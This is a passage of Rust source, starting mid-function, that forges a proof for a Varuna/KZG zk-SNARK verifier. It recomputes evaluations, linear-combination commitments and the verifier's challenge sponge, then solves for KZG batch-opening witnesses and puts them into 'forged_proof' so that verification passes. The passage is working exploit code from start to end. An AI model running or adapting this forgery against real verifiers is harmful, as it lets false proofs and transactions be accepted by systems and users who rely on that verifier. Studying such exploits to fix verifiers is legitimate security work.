let mut current_circuit_id = String::new();
let mut circuit_index: i64 = -1;
let query_set = query_set.to_set();
for (label, (_point_name, q)) in &query_set {
if AHPForR1CS::<Fr, VarunaHidingMode>::LC_WITH_ZERO_EVAL.contains(&label.as_ref()) {
evaluations.insert((label.clone(), *q), Fr::zero());
} else {
if label != "g_1" {
let circuit_id = CircuitId::from_witness_label(label).to_string();
if circuit_id != current_circuit_id {
circuit_index += 1;
current_circuit_id = circuit_id;
}
}
let eval = forged_proof
.evaluations
.get(circuit_index as usize, label)
.ok_or_else(|| anyhow!("missing eval for {label}"))?;
evaluations.insert((label.clone(), *q), eval);
}
}
let lc_s = AHPForR1CS::<_, VarunaHidingMode>::construct_linear_combinations(
&public_inputs,
&evaluations,
&forged_proof.third_msg,
&forged_proof.fourth_msg,
&verifier_state,
varuna_version,
)?;
let commitments_vec: Vec<_> = circuit_commitments
.into_iter()
.flatten()
.zip_eq(AHPForR1CS::<Fr, VarunaHidingMode>::index_polynomial_info(circuit_ids.iter()).values())
.map(|(c, info)| LabeledCommitment::new_with_info(info, *c))
.chain(first_commitments)
.chain(second_commitments)
.chain(third_commitments)
.chain(fourth_commitments)
.chain(fifth_commitments)
.collect();
let label_comm_map = commitments_vec.iter().map(|c| (c.label(), c)).collect::<BTreeMap<_, _>>();
let mut pc_evaluations = evaluations.clone();
let mut lc_commitments: Vec<LabeledCommitment<KZGCommitment<Pairing>>> = Vec::new();
for lc in lc_s.values() {
let lc_label = lc.label().to_string();
let num_polys = lc.len();
let mut degree_bound = None;
let mut coeffs_and_comms: Vec<(Fr, KZGCommitment<Pairing>)> = Vec::new();
for (coeff, term) in lc.iter() {
if term.is_one() {
for ((label, _), eval) in pc_evaluations.iter_mut() {
if label == &lc_label {
*eval -= coeff;
}
}
} else {
let label: &String = term.try_into().map_err(|_| anyhow!("LC term try_into"))?;
let cur_comm = label_comm_map[label as &str];
if cur_comm.degree_bound().is_some() {
ensure!(num_polys == 1);
ensure!(coeff.is_one());
degree_bound = cur_comm.degree_bound();
}
coeffs_and_comms.push((*coeff, *cur_comm.commitment()));
}
}
let combined: G1Projective = coeffs_and_comms.into_iter().map(|(coeff, comm)| comm.0 * coeff).sum();
lc_commitments.push(LabeledCommitment::new(lc_label, KZGCommitment(combined.to_affine()), degree_bound));
}
let lc_commitments: BTreeMap<String, &LabeledCommitment<KZGCommitment<Pairing>>> =
lc_commitments.iter().map(|c| (c.label().to_owned(), c)).collect();
let mut challenge_sponge = sponge;
let mut query_to_labels_map: BTreeMap<String, (Fr, BTreeSet<String>)> = BTreeMap::new();
for (label, (point_name, point)) in query_set.iter() {
let labels = query_to_labels_map.entry(point_name.clone()).or_insert((*point, BTreeSet::new()));
labels.1.insert(label.clone());
}
ensure!(query_to_labels_map.len() == 3, "expected 3 query points (alpha, beta, gamma)");
let mut combined_commitment = G1Projective::zero();
let mut combined_value = Fr::zero();
let mut randomizer = Fr::one();
let mut query_data = Vec::with_capacity(query_to_labels_map.len());
for (_point_name, (point, labels)) in query_to_labels_map {
for label in labels {
let challenge = challenge_sponge.squeeze_short_nonnative_field_element::<Fr>();
let commitment = lc_commitments[&label];
let value = pc_evaluations[&(label, point)];
let coeff = randomizer * challenge;
if commitment.degree_bound().is_some() {
ensure!(commitment.commitment().0.is_zero());
} else {
combined_commitment += commitment.commitment().0 * coeff;
combined_value += value * coeff;
}
}
query_data.push((randomizer, point));
randomizer = challenge_sponge.squeeze_short_nonnative_field_element::<Fr>();
}
let (r_0, z_0) = query_data[0];
let (r_1, z_1) = query_data[1];
ensure!(z_0 != z_1);
let target = universal_verifier.vk.g * combined_value - combined_commitment;
let witness_0 = target * (r_0 * (z_0 - z_1)).inverse().ok_or_else(|| anyhow!("singular query points"))?;
let witness_1 = -witness_0 * (r_0 / r_1);
let witness_2 = G1Projective::zero();
let make_kzg = |w: G1Projective| KZGProof::<Pairing> { w: w.to_affine(), random_v: Some(Fr::zero()) };
forged_proof.pc_proof =
BatchLCProof { proof: BatchProof(vec![make_kzg(witness_0), make_kzg(witness_1), make_kzg(witness_2)]) };
Ok(forged_proof)
}